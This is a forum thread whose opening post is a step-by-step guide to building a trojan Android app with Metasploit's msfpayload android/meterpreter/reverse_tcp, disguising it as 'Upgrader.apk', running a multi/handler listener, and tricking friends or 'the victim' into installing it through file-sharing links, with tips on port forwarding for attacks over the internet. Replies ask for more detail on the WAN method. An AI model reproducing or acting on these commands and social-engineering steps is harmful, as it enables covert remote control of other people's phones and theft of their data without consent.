# Android Hacking With Kali Linux | A Step-by-Step Guide **URL:** \ **Category:** Tutorials & Methods\ **Tags:** hacking, android\ **Created:** [May 14, 2024, 8:17pm UTC](https://onehack.st/t/android-hacking-with-kali-linux-a-step-by-step-guide/282803 "2024-05-14T20:17:07Z")\ **Posts on this page:** 3\ **Page:** 1
**Author:** ![WhiteHat](https://onehack.st/user_avatar/onehack.st/whitehat/32/162514_2.png) [@WhiteHat](https://onehack.st/u/WhiteHat)\ **Post date:** [May 14, 2024, 8:17pm UTC](https://onehack.st/t/android-hacking-with-kali-linux-a-step-by-step-guide/282803/1 "2024-05-14T20:17:07Z")
Unlock the world of Android hacking using Kali Linux with our step-by-step guide. Learn to create a Trojan .apk, set up a listener, and exploit Android devices seamlessly. ## Step 1: Create a Trojan .apk In the terminal, generate a Trojan .apk with the command: `msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk` Replace “LHOST” with your IP. For WAN hacking, use your Public/External IP in LHOST and configure port forwarding. Feel free to ask for assistance with port forwarding in the comment section. [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLXZUyTvNuHeWNfGwVOmuBER_0dnK09wqSvox__VQng3SoWsIWFaTP_V67t8a4MddIQ879_ZuqIdN8BBwXehvPVGQ9CQYhy_orL7MgRQCcbp7MvicyJgTycWy0PYY7vNKOgf7lzJ6log-jlF5K7JSQWPxOgCmZp_uv3zf2LIsjUDLhce2Xg8kA4QLuEtk/w400-h50/Screenshot-2023-12-18-212736.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLXZUyTvNuHeWNfGwVOmuBER_0dnK09wqSvox__VQng3SoWsIWFaTP_V67t8a4MddIQ879_ZuqIdN8BBwXehvPVGQ9CQYhy_orL7MgRQCcbp7MvicyJgTycWy0PYY7vNKOgf7lzJ6log-jlF5K7JSQWPxOgCmZp_uv3zf2LIsjUDLhce2Xg8kA4QLuEtk/s688/Screenshot-2023-12-18-212736.webp) ## Step 2: Open Another Terminal Open a new terminal and wait for the file to be generated. Then, launch the Metasploit console by entering: `msfconsole` [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj87HJuF0vXaqYr2ka2_vk0fp3TAmGhQqOKuxPTEDuwxoxStukDpuWWE0UitqVeCdvza-Cj9XelzpYVybcfLCrGlNEbxNNejYBWPCShBnwdBn6CiK9IlLRayiVeizY7J5XMGDSUa4Vdn7u4HNzAE-7GFlUBqIE3eU8SvwpKYyrl9tSqC22N_EhnesImDQI/w400-h266/Screenshot-2023-12-18-213008.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj87HJuF0vXaqYr2ka2_vk0fp3TAmGhQqOKuxPTEDuwxoxStukDpuWWE0UitqVeCdvza-Cj9XelzpYVybcfLCrGlNEbxNNejYBWPCShBnwdBn6CiK9IlLRayiVeizY7J5XMGDSUa4Vdn7u4HNzAE-7GFlUBqIE3eU8SvwpKYyrl9tSqC22N_EhnesImDQI/s691/Screenshot-2023-12-18-213008.webp) ## Step 3: Set Up a Listener Once it’s loaded (which may take some time), initiate the multi-handler exploit by entering: `use exploit/multi/handler` [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqiQtTuyW87_qHaUR-_vVhq3e2EApuj1N-KUSP9UeW-4pFztE1BiC5s-I5gyS9nW03mAZZ01qA08AeMIDVeZcEO5IJMMOCZcLs5k3MVm8CJSIXTPgGSSEDLMYx34QCeWGxA0yuT227PQeGHLzZ0q5RamRUCSX0T4JC3Rp1r0JIoukBMgrJzU77U_dsBY/w400-h72/Screenshot%202023-12-18%20213040.png "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqiQtTuyW87_qHaUR-_vVhq3e2EApuj1N-KUSP9UeW-4pFztE1BiC5s-I5gyS9nW03mAZZ01qA08AeMIDVeZcEO5IJMMOCZcLs5k3MVm8CJSIXTPgGSSEDLMYx34QCeWGxA0yuT227PQeGHLzZ0q5RamRUCSX0T4JC3Rp1r0JIoukBMgrJzU77U_dsBY/s316/Screenshot%202023-12-18%20213040.png) Configure a (reverse) payload by typing: `set payload android/meterpreter/reverse_tcp` Set the local host (LHOST) by typing: `set LHOST 192.168.0.4` (Note: If you’re hacking on WAN, use your private/internal IP, not the public/external one) [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV0YwX_DxFzykZvRa5XxMXVcNhhAqDbdpsDzumYp82bYkWRTR1fC54MWdRUPbaSqDBhWTewcViG7sS_AoCSZnyCGcRlv57PLhnx6nMPV4fzVZBLGx4eWJ5p0ZzCTcn3i7VA7PQ5MW-ZJ_jIhmzAdcMr96J2o7gRG4kAQ3hkl12dWjTLYtLFjAL4Qly0zo/w400-h81/Screenshot-2023-12-18-213310.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV0YwX_DxFzykZvRa5XxMXVcNhhAqDbdpsDzumYp82bYkWRTR1fC54MWdRUPbaSqDBhWTewcViG7sS_AoCSZnyCGcRlv57PLhnx6nMPV4fzVZBLGx4eWJ5p0ZzCTcn3i7VA7PQ5MW-ZJ_jIhmzAdcMr96J2o7gRG4kAQ3hkl12dWjTLYtLFjAL4Qly0zo/s628/Screenshot-2023-12-18-213310.webp) ## Step 4: Exploit Finally, type: `exploit` to initiate the listener. Copy the created application (Upgrader.apk) from the root folder to your Android phone. [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFzriM3ajpDVjNAKUhAraIaBWX2y_sPjMGIPvsx4N-oQm-M8fIGTIa0xIV6L0lznW2cfFT7eeqldR-f_CfprPEsbYKjCEPcAJNSjz-_r6AEYw2rIKujsd_mWUA1_m-FwdF4VBD-heGugL_JOR_aD8yYJ5EChy025eqfxxnL8fZJqFM-tzCLALi8rJ1oII/w400-h94/Screenshot-2023-12-18-213056.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFzriM3ajpDVjNAKUhAraIaBWX2y_sPjMGIPvsx4N-oQm-M8fIGTIa0xIV6L0lznW2cfFT7eeqldR-f_CfprPEsbYKjCEPcAJNSjz-_r6AEYw2rIKujsd_mWUA1_m-FwdF4VBD-heGugL_JOR_aD8yYJ5EChy025eqfxxnL8fZJqFM-tzCLALi8rJ1oII/s697/Screenshot-2023-12-18-213056.webp) After uploading it to a platform like Dropbox or a file-sharing website (e.g., [www.speedyshare.com](https://www.7zip.com/en-us/)), share the generated link with your friends. Exploit their phones within the Local Area Network (LAN). If you utilized the WAN method, you can execute the exploit from anywhere on the INTERNET. [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDHUxlNhio17WsnkpNFRG3KMuoGj_ebOqf94rrxNY0Z5DOij7mJV5huM537YkH8bRI23xbxnh6JfLb0bpRPjh0NP3LXWicgl1I5KYt9UYjPSE_yUmEG7MFUZhz-r7lYzEXjocCdafTC9ZIu_0Ug0nn30wYt9ewHnsJ72Hkk3zfX-5Ce312Ji0RQGUy6V8/w400-h280/Screenshot-2023-12-18-213105.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDHUxlNhio17WsnkpNFRG3KMuoGj_ebOqf94rrxNY0Z5DOij7mJV5huM537YkH8bRI23xbxnh6JfLb0bpRPjh0NP3LXWicgl1I5KYt9UYjPSE_yUmEG7MFUZhz-r7lYzEXjocCdafTC9ZIu_0Ug0nn30wYt9ewHnsJ72Hkk3zfX-5Ce312Ji0RQGUy6V8/s642/Screenshot-2023-12-18-213105.webp) Have the victim install the Upgrader app, leading them to believe it is intended to enhance features on their phone. Ensure that the option allowing installations from Unknown Sources is enabled in the security settings of the Android phone (if not already). Once they click Open… ### Step 5: There comes the meterpreter prompt: [![Android Hacking with Kali Linux: A Step-by-Step Guide](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmiGZR5LbVCKL4vbl0MLvwul3nFJob0SVIUTFmHDM8chJCE_F9tFzB0-77oErAiJyaZHemAq0CpdhoKL3jU3ey1n4E0rL5UzQ-9hLfkmM7xsv-xbmOZBFej_K1CdN2jNcb41GUANwnwWFpbOou6klV5jDW-2ndntXwQ-Xi7Tk4FeiRyCAPE1VN0db2fc4/w400-h195/Screenshot-2023-12-18-213116.webp "Android Hacking with Kali Linux: A Step-by-Step Guide")](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmiGZR5LbVCKL4vbl0MLvwul3nFJob0SVIUTFmHDM8chJCE_F9tFzB0-77oErAiJyaZHemAq0CpdhoKL3jU3ey1n4E0rL5UzQ-9hLfkmM7xsv-xbmOZBFej_K1CdN2jNcb41GUANwnwWFpbOou6klV5jDW-2ndntXwQ-Xi7Tk4FeiRyCAPE1VN0db2fc4/s710/Screenshot-2023-12-18-213116.webp) **Happy learning!** ---
**Author:** ![pcs](https://onehack.st/user_avatar/onehack.st/pcs/32/134860_2.png) [@pcs](https://onehack.st/u/pcs)\ **Post date:** [May 15, 2024, 3:01am UTC](https://onehack.st/t/android-hacking-with-kali-linux-a-step-by-step-guide/282803/2 "2024-05-15T03:01:26Z")
Kindly Provide the Detailed WAN Method. ---
**Author:** ![Michael\_Teofilov](https://onehack.st/user_avatar/onehack.st/michael_teofilov/32/156991_2.png) [@Michael\_Teofilov](https://onehack.st/u/Michael_Teofilov)\ **Post date:** [April 23, 2025, 8:08am UTC](https://onehack.st/t/android-hacking-with-kali-linux-a-step-by-step-guide/282803/3 "2025-04-23T08:08:50Z")
Thank you for the clear & straightforward tutorial, WhiteHat! 🙌 I’d gladly learn about port forwarding. Why is it necessary and how’s it done? One little typo, btw - here LAN has been substituted with WAN, it seems: > [@WhiteHat](#): > > (Note: If you’re hacking on WAN, use your private/internal IP, not the public/external one)